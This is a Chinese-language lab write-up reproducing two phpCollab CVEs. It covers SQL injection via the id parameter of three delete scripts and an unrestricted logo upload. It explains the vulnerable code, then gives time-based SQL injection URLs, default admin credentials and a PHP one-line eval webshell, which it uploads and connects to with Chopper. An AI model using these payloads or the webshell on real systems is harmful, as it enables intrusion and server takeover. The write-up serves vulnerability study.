CVE-2017-6089和CVE-2017-6090漏洞复现

1.1 注入漏洞(CVE-2017-6089)以及文件上传漏洞(CVE-2017-6090)

Phpcollab是一款开源的Web系统,可被多个组织用来通过互联网合作完成一个项目。


2.1 注入漏洞(CVE-2017-6089)漏洞具体描述

漏洞被描述为:在phpcollab 2.5.1以及更早版本中存在SQL注入漏洞,允许远程攻击者执行任意的SQL指令。漏洞存在于3处,topics/deletetopics.php中和id参数,bookmarks/deletebookmarks.php中的id参数,以及calendar/deletecalendar.php中的id参数。
SQL漏洞的存在可能导致提权等严重危害(但是懒~时间盲注好麻烦啊。。。有空可能试一下提权)

2.2 漏洞代码解析

漏洞一(topics\deletetopics.php)
源代码phpCollab-xampp\htdocs\phpcollab\topics\deletetopics.php对应漏洞代码
在用户发起delete操作之后,这段代码对id中参数出现的星号替换为逗号,随后通过字符串拼接两个tmpquery语句,通过connectSql执行两个语句,在上述操作中并未对id做出任何过滤操作。

在这段代码中,25行中拿到project的变量便直接在tmpquery中使用,也并未对id做如何过滤操作。

漏洞二(topics\deletetopics.php)
漏洞代码出现在phpcollab/bookmark/deletebookmarks.php文件的第32~38行,
原理与上述漏洞相同,同样也是没有对id参数进行过滤,造成sql漏洞

漏洞三(calendar\deletecalendar.php)
漏洞代码出现在phpcollab/calendar/deletecalendar.php的第31~37行

2.3渗透测试过程

漏洞一测试过程
创建一个“Projects”并且在其中添加一则“DIscussion”,来到delete“Discussion”的位置
虚拟机中对应位置:
http://localhost/phpcollab/topics/deletetopics.php?project=2&PHPSESSID=194e67be3aebd12f88ff8fc622818a5c&id=2

针对参数id进行时间注入,出现延迟
http://localhost/phpcollab/topics/deletetopics.php?project=2&PHPSESSID=2k0heng9qlb3ll5cg7cdcbd0i6&id=2+and+(SELECT+SLEEP(5)+FROM+members+where+login+like+0x61646d696e)

漏洞二测试过程
在bookmarks新建书签,然后删除来到删除页面
http://localhost/phpcollab/bookmarks/deletebookmarks.php?&PHPSESSID=194e67be3aebd12f88ff8fc622818a5c&id=1

同样进行时间注入出现延迟
http://localhost/phpcollab/bookmarks/deletebookmarks.php?&PHPSESSID=194e67be3aebd12f88ff8fc622818a5c&id=select+sleep(5)+from+members+where+login+like+0x61646d696e

漏洞三测试过程
http://localhost/phpcollab/calendar/deletecalendar.php?id=select+sleep(5)+from+members+where+login+like+0x61646d696e&PHPSESSID=194e67be3aebd12f88ff8fc622818a5c

3.1 文件上传漏洞(CVE-2017-6090)漏洞具体描述

漏洞被描述为:在phpcollab 2.5.1以及之前的版本中,文件clients/editclient.php存在无限制的文件上传漏洞,允许远程已经认证的用户通过上传一个具有可执行后缀的文件来执行任意代码,后续可直接访问logos_clients目录下对应的这个文件。


3.2 漏洞代码解析

漏洞点存在于/phpCollab-xampp/htdocs/phpcollab/clients文件的第63~70行。

代码首先在第63行通过对文件名的字符串操作,取得了小写的后缀名。
在第65行通过函数move_uploaded_file来完成上传操作,值得注意的是,新文件的名称为”../logos_clients/”.$id.”.$extension”,也就是保存到logos_clients文件夹下,文件名为$id对应的值,并且后缀名不变。此处是上传logo的位置,并未限制后缀名必须为图片类型,因此出现了漏洞。

在浏览器中操作,对应的URL为:
http://localhost/phpcollab/clients/editclient.php?id=2&PHPSESSID=0828f39c1a9db574bea57c029ace3259


3.3渗透测试过程

http://localhost/phpcollab/
登入phpcollab,
Username:admin
Password:phpcadmin

直接进入文件上传漏洞的页面localhost/phpcollab/clients/editclient.php
页面url:
http://localhost/phpcollab/clients/editclient.php??PHPSESSID=0828f39c1a9db574bea57c029ace3259

在logo的浏览处上传一句话木马文件
<?php @eval($_POST['123']); echo "2333333" ?>

然后在上传成功后网页页面会自动跳转至http://localhost/phpcollab/clients/viewclient.php?id=2&msg=update&PHPSESSID=0828f39c1a9db574bea57c029ace3259

在这个页面的logo位置右键点击查看图像,可以看见我们上传的一句话木马的内容,点击查看地址则可以知道储存图像的具体位置

根据我们上传的图片位置构造payload:http://localhost/phpcollab/logos_clients/2.php
用菜刀连接一句话
可以获得webshell
可以看见文件路径为C:\Program Files\phpCollab-xampp\htdocs\phpcollab\logos_clients\2.php